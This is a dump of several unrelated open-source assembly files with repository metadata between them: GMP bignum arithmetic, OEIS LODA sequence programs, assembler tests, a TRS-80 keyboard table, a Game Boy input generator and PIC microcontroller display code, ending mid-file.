define(`up',`%rsi') define(`vp',`%rdx') define(`n', `%rcx') ifdef(`OPERATION_addlsh1_n', ` define(ADDSUB, add) define(func, mpn_addlsh1_n)') ifdef(`OPERATION_sublsh1_n', ` define(ADDSUB, sub) define(func, mpn_sublsh1_n)') MULFUNC_PROLOGUE(mpn_addlsh1_n mpn_sublsh1_n) ASM_START() TEXT ALIGN(16) PROLOGUE(func) push %rbx push %r12 push %rbp mov (vp), %r9 shl %r9 mov 4(vp), R32(%rbp) xor R32(%rbx), R32(%rbx) mov R32(n), R32(%rax) and $3, R32(%rax) jne L(n00) C n = 0, 4, 8, ... mov (up), %r8 mov 8(up), %r10 shr $31, R32(%rbp) ADDSUB %r9, %r8 mov 8(vp), %r9 lea (%rbp,%r9,2), %r9 setc R8(%rax) mov 12(vp), R32(%rbp) lea -16(rp), rp jmp L(L00) L(n00): cmp $2, R32(%rax) jnc L(n01) C n = 1, 5, 9, ... mov (up), %r11 lea -8(rp), rp shr $31, R32(%rbp) ADDSUB %r9, %r11 setc R8(%rbx) dec n jz L(1) C jump for n = 1 mov 8(up), %r8 mov 8(vp), %r9 lea (%rbp,%r9,2), %r9 mov 12(vp), R32(%rbp) lea 8(up), up lea 8(vp), vp jmp L(L01) L(n01): jne L(n10) C n = 2, 6, 10, ... mov (up), %r12 mov 8(up), %r11 shr $31, R32(%rbp) ADDSUB %r9, %r12 mov 8(vp), %r9 lea (%rbp,%r9,2), %r9 setc R8(%rax) mov 12(vp), R32(%rbp) lea 16(up), up lea 16(vp), vp jmp L(L10) L(n10): mov (up), %r10 mov 8(up), %r12 shr $31, R32(%rbp) ADDSUB %r9, %r10 mov 8(vp), %r9 lea (%rbp,%r9,2), %r9 setc R8(%rbx) mov 12(vp), R32(%rbp) lea -24(rp), rp lea -8(up), up lea -8(vp), vp jmp L(L11) L(c0): mov $1, R8(%rbx) jmp L(rc0) L(c1): mov $1, R8(%rax) jmp L(rc1) L(c2): mov $1, R8(%rbx) jmp L(rc2) ALIGN(16) L(top): mov (up), %r8 C not on critical path shr $31, R32(%rbp) ADDSUB %r9, %r11 C not on critical path mov (vp), %r9 lea (%rbp,%r9,2), %r9 setc R8(%rbx) C save carry out mov 4(vp), R32(%rbp) mov %r12, (rp) ADDSUB %rax, %r11 C apply previous carry out jc L(c0) C jump if ripple L(rc0): L(L01): mov 8(up), %r10 shr $31, R32(%rbp) ADDSUB %r9, %r8 mov 8(vp), %r9 lea (%rbp,%r9,2), %r9 setc R8(%rax) mov 12(vp), R32(%rbp) mov %r11, 8(rp) ADDSUB %rbx, %r8 jc L(c1) L(rc1): L(L00): mov 16(up), %r12 shr $31, R32(%rbp) ADDSUB %r9, %r10 mov 16(vp), %r9 lea (%rbp,%r9,2), %r9 setc R8(%rbx) mov 20(vp), R32(%rbp) mov %r8, 16(rp) ADDSUB %rax, %r10 jc L(c2) L(rc2): L(L11): mov 24(up), %r11 shr $31, R32(%rbp) ADDSUB %r9, %r12 mov 24(vp), %r9 lea (%rbp,%r9,2), %r9 lea 32(up), up lea 32(vp), vp setc R8(%rax) mov -4(vp), R32(%rbp) mov %r10, 24(rp) ADDSUB %rbx, %r12 jc L(c3) L(rc3): lea 32(rp), rp L(L10): sub $4, n ja L(top) L(end): shr $31, R32(%rbp) ADDSUB %r9, %r11 setc R8(%rbx) mov %r12, (rp) ADDSUB %rax, %r11 jnc L(1) mov $1, R8(%rbx) L(1): mov %r11, 8(rp) lea (%rbx,%rbp), R32(%rax) pop %rbp pop %r12 pop %rbx emms ret L(c3): mov $1, R8(%rax) jmp L(rc3) EPILOGUE() ASM_END()
19.865285
79
0.609546
7cbb9f0fc17d3aad8ac08596cf32e32f8be932ba
2,168
asm
Assembly
programs/oeis/019/A019479.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/019/A019479.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/019/A019479.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A019479: Define the sequence S(a_0,a_1) by a_{n+2} is the least integer such that a_{n+2}/a_{n+1}>a_{n+1}/a_n for n >= 0. This is S(4,8). ; 4,8,17,37,81,178,392,864,1905,4201,9265,20434,45068,99400,219233,483533,1066465,2352162,5187856,11442176,25236513,55660881,122763937,270764386,597189652,1317143240,2905050865,6407291381,14131726001,31168502866,68744297112,151620320224,334409143313,737562583737,1626745487697,3587900118706,7913362821148,17453471129992,38494842378689,84903047578525,187259566287041,413013974952770,910930997484064,2009121561255168,4431257097463105,9773445192410273,21556011946075713,47543280989614530,104860007171639332,231276026289354376,510095333568323281,1125050674308285893,2481377374905926161,5472850083380175602,12070750841068637096,26622879057043200352,58718608197466576305,129507967236001789705,285638813529046779761,629996235255560135826,1389500437747122061356,3064639689023290902472,6759275613302141940769,14908051664351405942893,32880743017726102788257,72520761648754347517282,159949574961860100977456,352779892941446304743168,778080547531646957003617,1716110670025154014984689,3785001232991754334712545,8348083013515155626428706,18412276697055465267842100,40609554627102684870396744,89567192267720525367222193,197546661232496516002286485,435702877092095716874969713,960972946451911959117161618,2119492554136320434236609720,4674687985364736585348189152,10310348917181385129813539921,22740190388499090693863689561,50155068762362917973075568273,110620486441907221075964676466,243981163272313532845793042492,538117395306989983664661653256,1186855277055887188405287982977,2617691717384087909656369008445,5773500830075165802977399670145,12733856937206218794360087323266,28085405591796525498376543654976,61944312013668216799730486980096,136622480964542652393821061283457,301330367520881830286018666221889,664605047055431877371767819423873,1465832575075406407137356700131202,3232995517671694644560732066484292,7130596082398821166493231952392456,15727024739873048740123820604916113,34687044997417792124808373276316517 add $0,2 mov $1,1 lpb $0 mov $2,$0 trn $0,2 seq $2,214260 ; First differences of A052980. add $1,$2 lpe mov $0,$1
166.769231
1,904
0.906827
f6ff0223c37fa8da2b2ae12a2e68084c9c5aa839
74
asm
Assembly
test/xgt-bad2.asm
kspalaiologos/asmbf
c98a51d61724a46855de291a27d68a49a034810b
[ "MIT" ]
67
2020-08-03T06:26:35.000Z
2022-03-24T19:50:51.000Z
test/xgt-bad2.asm
pyautogui/asmbf
37c54a8a62df2fc4bab28bdeb43237b4905cbecd
[ "MIT" ]
55
2019-10-02T19:37:08.000Z
2020-06-12T19:40:53.000Z
test/xgt-bad2.asm
pyautogui/asmbf
37c54a8a62df2fc4bab28bdeb43237b4905cbecd
[ "MIT" ]
9
2019-05-18T11:59:41.000Z
2020-06-21T20:40:25.000Z
mov r1, $(signed(-3)) mov r2, $(signed(5)) xgt r1, r2 add r1, .0 out r1
9.25
21
0.567568
c35a21f5909513eb74a09461ba9712331f60284c
2,105
asm
Assembly
libsrc/input/trs80/in_keytranstbl.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/input/trs80/in_keytranstbl.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/input/trs80/in_keytranstbl.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
; This table translates key presses into ascii codes. ; Also used by 'GetKey' and 'LookupKey'. An effort has been made for ; this key translation table to emulate a PC keyboard with the 'CTRL' key SECTION rodata_clib PUBLIC in_keytranstbl .in_keytranstbl defb 'g', 'f', 'e', 'd', 'c', 'b', 'a', '@' ; g, f, e, d, c, b, a, @ defb 'o', 'n', 'm', 'l', 'k', 'j', 'i', 'h' ; o, n, m, l, k, j, i, h defb 'w', 'v', 'u', 't', 's', 'r', 'q', 'p' ; w, v, u, t, s, r, q, p defb 255, 255, 255, 255, 255, 'z', 'y', 'x' ; -, -, -, -, -, z, y,x defb '7', '6', '5', '4', '3', '2', '1', '0' ; 7, 6 ,5, 4, 3, 2, 1, 0 defb '/', '.', '-', ',', ';', ':', '9', '8' ; /, '.', '-', ',', ;, :, 9, 8 defb ' ', 9, 8, 10, 11, 255, 12, 13 ; ' ', RIGHT, LEFT, DOWN, UP, Break, Clear, RET defb 255, 255, 255, 255, 6, 255, 255, 255 ; -, F3, F2, F1, CAPS, CTL, R-SHIFT, LSHIFT ; Shifted defb 'G', 'F', 'E', 'D', 'C', 'B', 'A', '`' ; g, f, e, d, c, b, a, @ defb 'O', 'N', 'M', 'L', 'K', 'J', 'I', 'H' ; o, n, m, l, k, j, i, h defb 'W', 'V', 'U', 'T', 'S', 'R', 'Q', 'P' ; w, v, u, t, s, r, q, p defb 255, 255, 255, 255, 255, 'Z', 'Y', 'X' ; -, -, -, -, -, z, y,x defb '\'','&', '%', '$', '#', '"', '!', '0' ; 7, 6 ,5, 4, 3, 2, 1, 0 defb '?', '>', '=', '<', '+', '*', ')', '(' ; /, '.', '-', ',', ;, :, 9, 8 defb ' ', 9, 8, 10, 11, 255, 127, 13 ; ' ', RIGHT, LEFT, DOWN, UP, Break, Clear, RET defb 255, 255, 255, 255, 6, 255, 255, 255 ; -, F3, F2, F1, CAPS, CTL, R-SHIFT, LSHIFT ; Control defb 7, 6, 5, 4, 3, 2, 1, '@' ; g, f, e, d, c, b, a, @ defb 15, 14, 13, 12, 11, 10, 9, 8 ; o, n, m, l, k, j, i, h defb 23, 22, 21, 20, 19, 18, 17, 16 ; w, v, u, t, s, r, q, p defb 255, 255, 255, 255, 255, 26, 25, 24 ; -, -, -, -, -, z, y,x defb '7', '6', '5', '4', '3', '2', '1', '0' ; 7, 6 ,5, 4, 3, 2, 1, 0 defb '/', '.', '-', ',', ';', ':', '9', '8' ; /, '.', '-', ',', ;, :, 9, 8 defb ' ', 9, 8, 10, 11, 255, 12, 13 ; ' ', RIGHT, LEFT, DOWN, UP, Break, Clear, RET defb 255, 255, 255, 255, 6, 255, 255, 255 ; -, F3, F2, F1, CAPS, CTL, R-SHIFT, LSHIFT
55.394737
92
0.4019
8c235f533193c9dd77ad7decd5b657f0792df62c
325
asm
Assembly
programs/oeis/073/A073587.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/073/A073587.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/073/A073587.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A073587: a(n)=a(n-1)*2^n+1 where a(0)=1. ; 1,3,13,105,1681,53793,3442753,440672385,112812130561,57759810847233,59146046307566593,121131102837896382465,496152997224023582576641,4064485353259201188467843073,66592528027798752271857140908033 mov $2,1 lpb $0 sub $0,1 mul $2,2 add $3,1 mul $3,$2 lpe mov $0,$3 add $0,1
25
196
0.753846
66ea96d92c8df7a24333bb51f2912a6d8953624c
870
asm
Assembly
src/generateInputList.asm
NEPETAISCUTE/simon-gameboy
70528c4326208616613b8c777bc9952616d8380b
[ "MIT" ]
1
2021-06-18T11:22:16.000Z
2021-06-18T11:22:16.000Z
src/generateInputList.asm
NEPETAISCUTE/simon-gameboy
70528c4326208616613b8c777bc9952616d8380b
[ "MIT" ]
null
null
null
src/generateInputList.asm
NEPETAISCUTE/simon-gameboy
70528c4326208616613b8c777bc9952616d8380b
[ "MIT" ]
null
null
null
TIMER_DISPLAY_MAX EQU $0050 SECTION "input generator", ROM0 generateInputList:: ld a, [wInputLength] ld c, a ld de, wInputList ld a, [wLevel] cp a, 4 jr nc, .generationLoopHard .generationLoopEasy: push bc call rand pop bc ld b, a swap a add a, b adc a, 1 swap a and %00000011 ld b, 1 call LoopShiftLeft ld a, b ld [de], a inc de dec c jr nz, .generationLoopEasy jr .end .generationLoopHard: push bc call rand pop bc ;apparently this algorithm is the same as A%15, i still don't understand exactly how it works, but it's fine ld b, a swap a add a, b adc a, 1 swap a and %00001111 inc a ld [de], a inc de dec c jr nz, .generationLoopHard .end: xor a, a ld [wIsGeneratingNewInput], a ld hl, TIMER_DISPLAY_MAX ld a, h ld [wTimerDisplay], a ld a, l ld [wTimerDisplay+1], a
13.809524
110
0.645977
1b11e8dd2cdfd68ed1f42a699bb8ba13c919a54c
616
asm
Assembly
pkgs/tools/yasm/src/modules/arch/x86/tests/addbyte.asm
manggoguy/parsec-modified
d14edfb62795805c84a4280d67b50cca175b95af
[ "BSD-3-Clause" ]
2,151
2020-04-18T07:31:17.000Z
2022-03-31T08:39:18.000Z
pkgs/tools/yasm/src/modules/arch/x86/tests/addbyte.asm
manggoguy/parsec-modified
d14edfb62795805c84a4280d67b50cca175b95af
[ "BSD-3-Clause" ]
395
2020-04-18T08:22:18.000Z
2021-12-08T13:04:49.000Z
pkgs/tools/yasm/src/modules/arch/x86/tests/addbyte.asm
manggoguy/parsec-modified
d14edfb62795805c84a4280d67b50cca175b95af
[ "BSD-3-Clause" ]
338
2020-04-18T08:03:10.000Z
2022-03-29T12:33:22.000Z
; AX forms add ax,5 add ax,strict byte 5 add ax,strict word 5 add ax,-128 add ax,strict byte -128 add ax,strict word -128 add ax,0x7f add ax,strict byte 0x7f add ax,strict word 0x7f add ax,0x80 add ax,strict byte 0x80 add ax,strict word 0x80 add ax,0x100 add ax,strict byte 0x100 add ax,strict word 0x100 ; non-AX forms add bx,5 add bx,strict byte 5 add bx,strict word 5 add bx,-128 add bx,strict byte -128 add bx,strict word -128 add bx,0x7f add bx,strict byte 0x7f add bx,strict word 0x7f add bx,0x80 add bx,strict byte 0x80 add bx,strict word 0x80 add bx,0x100 add bx,strict byte 0x100 add bx,strict word 0x100
17.6
24
0.761364
826bce63de3afd5277da5274b34321c3ba612e5b
391
asm
Assembly
programs/oeis/142/A142238.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/142/A142238.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/142/A142238.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A142238: Numerators of continued fraction convergents to sqrt(3/2). ; 1,5,11,49,109,485,1079,4801,10681,47525,105731,470449,1046629,4656965,10360559,46099201,102558961,456335045,1015229051,4517251249,10049731549,44716177445,99482086439,442644523201,984771132841,4381729054565,9748229241971 add $0,1 seq $0,84059 ; a(n) = 4*a(n-1) + 2*a(n-2) for n>1, a(0)=1, a(1)=2. lpb $0 dif $0,2 lpe
43.444444
221
0.754476
31b5d5e764f9b8aacc296875eac05b69855e5b5f
24,730
asm
Assembly
Terceiro semestre/SDMI - Sistemas Digitais e Microcontroladores/PIC/ExstoKit/ExstoKit.asm
Eduardo-Barreto/Tecnico-Mecatronic
1f4b631fff913c0c2477abba940196b8015b9ef6
[ "MIT" ]
2
2021-11-29T02:47:47.000Z
2021-12-13T19:33:53.000Z
Terceiro semestre/SDMI - Sistemas Digitais e Microcontroladores/PIC/ExstoKit/ExstoKit.asm
Eduardo-Barreto/Tecnico-Mecatronic
1f4b631fff913c0c2477abba940196b8015b9ef6
[ "MIT" ]
null
null
null
Terceiro semestre/SDMI - Sistemas Digitais e Microcontroladores/PIC/ExstoKit/ExstoKit.asm
Eduardo-Barreto/Tecnico-Mecatronic
1f4b631fff913c0c2477abba940196b8015b9ef6
[ "MIT" ]
null
null
null
_resetAll: ;ExstoKit.c,60 :: void resetAll(){ ;ExstoKit.c,61 :: display1 = 1; BSF PORTA+0, 5 ;ExstoKit.c,62 :: display2 = 1; BSF PORTA+0, 2 ;ExstoKit.c,63 :: display3 = 1; BSF PORTE+0, 0 ;ExstoKit.c,64 :: display4 = 1; BSF PORTE+0, 2 ;ExstoKit.c,65 :: pinoA = 0; BCF PORTD+0, 0 ;ExstoKit.c,66 :: pinoB = 0; BCF PORTD+0, 1 ;ExstoKit.c,67 :: pinoC = 0; BCF PORTD+0, 2 ;ExstoKit.c,68 :: pinoD = 0; BCF PORTD+0, 3 ;ExstoKit.c,69 :: pinoE = 0; BCF PORTD+0, 4 ;ExstoKit.c,70 :: pinoF = 0; BCF PORTD+0, 5 ;ExstoKit.c,71 :: pinoG = 0; BCF PORTD+0, 6 ;ExstoKit.c,72 :: pinoDP = 0; BCF PORTD+0, 7 ;ExstoKit.c,73 :: display1 = 0; BCF PORTA+0, 5 ;ExstoKit.c,74 :: display2 = 0; BCF PORTA+0, 2 ;ExstoKit.c,75 :: display3 = 0; BCF PORTE+0, 0 ;ExstoKit.c,76 :: display4 = 0; BCF PORTE+0, 2 ;ExstoKit.c,77 :: } L_end_resetAll: RETURN 0 ; end of _resetAll _resetDisplays: ;ExstoKit.c,79 :: void resetDisplays(){ ;ExstoKit.c,80 :: display1 = 0; BCF PORTA+0, 5 ;ExstoKit.c,81 :: display2 = 0; BCF PORTA+0, 2 ;ExstoKit.c,82 :: display3 = 0; BCF PORTE+0, 0 ;ExstoKit.c,83 :: display4 = 0; BCF PORTE+0, 2 ;ExstoKit.c,84 :: } L_end_resetDisplays: RETURN 0 ; end of _resetDisplays _setNumber: ;ExstoKit.c,86 :: void setNumber(int _display, int _number){ ;ExstoKit.c,87 :: switch(_display){ GOTO L_setNumber0 ;ExstoKit.c,88 :: case 1: L_setNumber2: ;ExstoKit.c,89 :: display1 = 1; BSF PORTA+0, 5 ;ExstoKit.c,90 :: break; GOTO L_setNumber1 ;ExstoKit.c,92 :: case 2: L_setNumber3: ;ExstoKit.c,93 :: display2 = 1; BSF PORTA+0, 2 ;ExstoKit.c,94 :: break; GOTO L_setNumber1 ;ExstoKit.c,96 :: case 3: L_setNumber4: ;ExstoKit.c,97 :: display3 = 1; BSF PORTE+0, 0 ;ExstoKit.c,98 :: break; GOTO L_setNumber1 ;ExstoKit.c,100 :: case 4: L_setNumber5: ;ExstoKit.c,101 :: display4 = 1; BSF PORTE+0, 2 ;ExstoKit.c,102 :: break; GOTO L_setNumber1 ;ExstoKit.c,104 :: default: L_setNumber6: ;ExstoKit.c,105 :: return; GOTO L_end_setNumber ;ExstoKit.c,106 :: } L_setNumber0: MOVLW 0 XORWF FARG_setNumber__display+1, 0 BTFSS STATUS+0, 2 GOTO L__setNumber30 MOVLW 1 XORWF FARG_setNumber__display+0, 0 L__setNumber30: BTFSC STATUS+0, 2 GOTO L_setNumber2 MOVLW 0 XORWF FARG_setNumber__display+1, 0 BTFSS STATUS+0, 2 GOTO L__setNumber31 MOVLW 2 XORWF FARG_setNumber__display+0, 0 L__setNumber31: BTFSC STATUS+0, 2 GOTO L_setNumber3 MOVLW 0 XORWF FARG_setNumber__display+1, 0 BTFSS STATUS+0, 2 GOTO L__setNumber32 MOVLW 3 XORWF FARG_setNumber__display+0, 0 L__setNumber32: BTFSC STATUS+0, 2 GOTO L_setNumber4 MOVLW 0 XORWF FARG_setNumber__display+1, 0 BTFSS STATUS+0, 2 GOTO L__setNumber33 MOVLW 4 XORWF FARG_setNumber__display+0, 0 L__setNumber33: BTFSC STATUS+0, 2 GOTO L_setNumber5 GOTO L_setNumber6 L_setNumber1: ;ExstoKit.c,107 :: PORTD = numbers[_number]; MOVF FARG_setNumber__number+0, 0 MOVWF R0 MOVF FARG_setNumber__number+1, 0 MOVWF R1 RLCF R0, 1 BCF R0, 0 RLCF R1, 1 MOVLW _numbers+0 ADDWF R0, 0 MOVWF FSR0L+0 MOVLW hi_addr(_numbers+0) ADDWFC R1, 0 MOVWF FSR0L+1 MOVF POSTINC0+0, 0 MOVWF PORTD+0 ;ExstoKit.c,108 :: delay_ms(1); MOVLW 7 MOVWF R12, 0 MOVLW 125 MOVWF R13, 0 L_setNumber7: DECFSZ R13, 1, 1 BRA L_setNumber7 DECFSZ R12, 1, 1 BRA L_setNumber7 ;ExstoKit.c,109 :: resetDisplays(); CALL _resetDisplays+0, 0 ;ExstoKit.c,110 :: } L_end_setNumber: RETURN 0 ; end of _setNumber _setNumbers: ;ExstoKit.c,112 :: void setNumbers(int _numbers[4], int _timer){ ;ExstoKit.c,113 :: int c = 0; CLRF setNumbers_c_L0+0 CLRF setNumbers_c_L0+1 ;ExstoKit.c,114 :: for (c; c<=_timer; c++){ L_setNumbers8: MOVLW 128 XORWF FARG_setNumbers__timer+1, 0 MOVWF R0 MOVLW 128 XORWF setNumbers_c_L0+1, 0 SUBWF R0, 0 BTFSS STATUS+0, 2 GOTO L__setNumbers35 MOVF setNumbers_c_L0+0, 0 SUBWF FARG_setNumbers__timer+0, 0 L__setNumbers35: BTFSS STATUS+0, 0 GOTO L_setNumbers9 ;ExstoKit.c,115 :: setNumber(1, _numbers[0]); MOVLW 1 MOVWF FARG_setNumber__display+0 MOVLW 0 MOVWF FARG_setNumber__display+1 MOVFF FARG_setNumbers__numbers+0, FSR0L+0 MOVFF FARG_setNumbers__numbers+1, FSR0H+0 MOVF POSTINC0+0, 0 MOVWF FARG_setNumber__number+0 MOVF POSTINC0+0, 0 MOVWF FARG_setNumber__number+1 CALL _setNumber+0, 0 ;ExstoKit.c,116 :: setNumber(2, _numbers[1]); MOVLW 2 MOVWF FARG_setNumber__display+0 MOVLW 0 MOVWF FARG_setNumber__display+1 MOVLW 2 ADDWF FARG_setNumbers__numbers+0, 0 MOVWF FSR0L+0 MOVLW 0 ADDWFC FARG_setNumbers__numbers+1, 0 MOVWF FSR0L+1 MOVF POSTINC0+0, 0 MOVWF FARG_setNumber__number+0 MOVF POSTINC0+0, 0 MOVWF FARG_setNumber__number+1 CALL _setNumber+0, 0 ;ExstoKit.c,117 :: setNumber(3, _numbers[2]); MOVLW 3 MOVWF FARG_setNumber__display+0 MOVLW 0 MOVWF FARG_setNumber__display+1 MOVLW 4 ADDWF FARG_setNumbers__numbers+0, 0 MOVWF FSR0L+0 MOVLW 0 ADDWFC FARG_setNumbers__numbers+1, 0 MOVWF FSR0L+1 MOVF POSTINC0+0, 0 MOVWF FARG_setNumber__number+0 MOVF POSTINC0+0, 0 MOVWF FARG_setNumber__number+1 CALL _setNumber+0, 0 ;ExstoKit.c,118 :: setNumber(4, _numbers[3]); MOVLW 4 MOVWF FARG_setNumber__display+0 MOVLW 0 MOVWF FARG_setNumber__display+1 MOVLW 6 ADDWF FARG_setNumbers__numbers+0, 0 MOVWF FSR0L+0 MOVLW 0 ADDWFC FARG_setNumbers__numbers+1, 0 MOVWF FSR0L+1 MOVF POSTINC0+0, 0 MOVWF FARG_setNumber__number+0 MOVF POSTINC0+0, 0 MOVWF FARG_setNumber__number+1 CALL _setNumber+0, 0 ;ExstoKit.c,114 :: for (c; c<=_timer; c++){ INFSNZ setNumbers_c_L0+0, 1 INCF setNumbers_c_L0+1, 1 ;ExstoKit.c,119 :: } GOTO L_setNumbers8 L_setNumbers9: ;ExstoKit.c,120 :: } L_end_setNumbers: RETURN 0 ; end of _setNumbers _setLetter: ;ExstoKit.c,122 :: void setLetter(int _display, int _letterIndex){ ;ExstoKit.c,123 :: switch(_display){ GOTO L_setLetter11 ;ExstoKit.c,124 :: case 1: L_setLetter13: ;ExstoKit.c,125 :: display1 = 1; BSF PORTA+0, 5 ;ExstoKit.c,126 :: break; GOTO L_setLetter12 ;ExstoKit.c,128 :: case 2: L_setLetter14: ;ExstoKit.c,129 :: display2 = 1; BSF PORTA+0, 2 ;ExstoKit.c,130 :: break; GOTO L_setLetter12 ;ExstoKit.c,132 :: case 3: L_setLetter15: ;ExstoKit.c,133 :: display3 = 1; BSF PORTE+0, 0 ;ExstoKit.c,134 :: break; GOTO L_setLetter12 ;ExstoKit.c,136 :: case 4: L_setLetter16: ;ExstoKit.c,137 :: display4 = 1; BSF PORTE+0, 2 ;ExstoKit.c,138 :: break; GOTO L_setLetter12 ;ExstoKit.c,140 :: default: L_setLetter17: ;ExstoKit.c,141 :: return; GOTO L_end_setLetter ;ExstoKit.c,142 :: } L_setLetter11: MOVLW 0 XORWF FARG_setLetter__display+1, 0 BTFSS STATUS+0, 2 GOTO L__setLetter37 MOVLW 1 XORWF FARG_setLetter__display+0, 0 L__setLetter37: BTFSC STATUS+0, 2 GOTO L_setLetter13 MOVLW 0 XORWF FARG_setLetter__display+1, 0 BTFSS STATUS+0, 2 GOTO L__setLetter38 MOVLW 2 XORWF FARG_setLetter__display+0, 0 L__setLetter38: BTFSC STATUS+0, 2 GOTO L_setLetter14 MOVLW 0 XORWF FARG_setLetter__display+1, 0 BTFSS STATUS+0, 2 GOTO L__setLetter39 MOVLW 3 XORWF FARG_setLetter__display+0, 0 L__setLetter39: BTFSC STATUS+0, 2 GOTO L_setLetter15 MOVLW 0 XORWF FARG_setLetter__display+1, 0 BTFSS STATUS+0, 2 GOTO L__setLetter40 MOVLW 4 XORWF FARG_setLetter__display+0, 0 L__setLetter40: BTFSC STATUS+0, 2 GOTO L_setLetter16 GOTO L_setLetter17 L_setLetter12: ;ExstoKit.c,143 :: PORTD = letters[_letterIndex]; MOVF FARG_setLetter__letterIndex+0, 0 MOVWF R0 MOVF FARG_setLetter__letterIndex+1, 0 MOVWF R1 RLCF R0, 1 BCF R0, 0 RLCF R1, 1 MOVLW _letters+0 ADDWF R0, 0 MOVWF FSR0L+0 MOVLW hi_addr(_letters+0) ADDWFC R1, 0 MOVWF FSR0L+1 MOVF POSTINC0+0, 0 MOVWF PORTD+0 ;ExstoKit.c,144 :: delay_ms(1); MOVLW 7 MOVWF R12, 0 MOVLW 125 MOVWF R13, 0 L_setLetter18: DECFSZ R13, 1, 1 BRA L_setLetter18 DECFSZ R12, 1, 1 BRA L_setLetter18 ;ExstoKit.c,145 :: resetDisplays(); CALL _resetDisplays+0, 0 ;ExstoKit.c,146 :: } L_end_setLetter: RETURN 0 ; end of _setLetter _setWord: ;ExstoKit.c,148 :: void setWord(int _letters[4], int _timer){ ;ExstoKit.c,149 :: int c = 0; CLRF setWord_c_L0+0 CLRF setWord_c_L0+1 ;ExstoKit.c,150 :: for (c; c<=_timer; c++){ L_setWord19: MOVLW 128 XORWF FARG_setWord__timer+1, 0 MOVWF R0 MOVLW 128 XORWF setWord_c_L0+1, 0 SUBWF R0, 0 BTFSS STATUS+0, 2 GOTO L__setWord42 MOVF setWord_c_L0+0, 0 SUBWF FARG_setWord__timer+0, 0 L__setWord42: BTFSS STATUS+0, 0 GOTO L_setWord20 ;ExstoKit.c,151 :: setLetter(1, _letters[0]); MOVLW 1 MOVWF FARG_setLetter__display+0 MOVLW 0 MOVWF FARG_setLetter__display+1 MOVFF FARG_setWord__letters+0, FSR0L+0 MOVFF FARG_setWord__letters+1, FSR0H+0 MOVF POSTINC0+0, 0 MOVWF FARG_setLetter__letterIndex+0 MOVF POSTINC0+0, 0 MOVWF FARG_setLetter__letterIndex+1 CALL _setLetter+0, 0 ;ExstoKit.c,152 :: setLetter(2, _letters[1]); MOVLW 2 MOVWF FARG_setLetter__display+0 MOVLW 0 MOVWF FARG_setLetter__display+1 MOVLW 2 ADDWF FARG_setWord__letters+0, 0 MOVWF FSR0L+0 MOVLW 0 ADDWFC FARG_setWord__letters+1, 0 MOVWF FSR0L+1 MOVF POSTINC0+0, 0 MOVWF FARG_setLetter__letterIndex+0 MOVF POSTINC0+0, 0 MOVWF FARG_setLetter__letterIndex+1 CALL _setLetter+0, 0 ;ExstoKit.c,153 :: setLetter(3, _letters[2]); MOVLW 3 MOVWF FARG_setLetter__display+0 MOVLW 0 MOVWF FARG_setLetter__display+1 MOVLW 4 ADDWF FARG_setWord__letters+0, 0 MOVWF FSR0L+0 MOVLW 0 ADDWFC FARG_setWord__letters+1, 0 MOVWF FSR0L+1 MOVF POSTINC0+0, 0 MOVWF FARG_setLetter__letterIndex+0 MOVF POSTINC0+0, 0 MOVWF FARG_setLetter__letterIndex+1 CALL _setLetter+0, 0 ;ExstoKit.c,154 :: setLetter(4, _letters[3]); MOVLW 4 MOVWF FARG_setLetter__display+0 MOVLW 0 MOVWF FARG_setLetter__display+1 MOVLW 6 ADDWF FARG_setWord__letters+0, 0 MOVWF FSR0L+0 MOVLW 0 ADDWFC FARG_setWord__letters+1, 0 MOVWF FSR0L+1 MOVF POSTINC0+0, 0 MOVWF FARG_setLetter__letterIndex+0 MOVF POSTINC0+0, 0 MOVWF FARG_setLetter__letterIndex+1 CALL _setLetter+0, 0 ;ExstoKit.c,150 :: for (c; c<=_timer; c++){ INFSNZ setWord_c_L0+0, 1 INCF setWord_c_L0+1, 1 ;ExstoKit.c,155 :: } GOTO L_setWord19 L_setWord20: ;ExstoKit.c,156 :: } L_end_setWord: RETURN 0 ; end of _setWord _slideWord: ;ExstoKit.c,158 :: void slideWord(int _letters[8], int _timer){ ;ExstoKit.c,162 :: for(counter=0; counter<8; counter++){ CLRF slideWord_counter_L0+0 CLRF slideWord_counter_L0+1 L_slideWord22: MOVLW 128 XORWF slideWord_counter_L0+1, 0 MOVWF R0 MOVLW 128 SUBWF R0, 0 BTFSS STATUS+0, 2 GOTO L__slideWord44 MOVLW 8 SUBWF 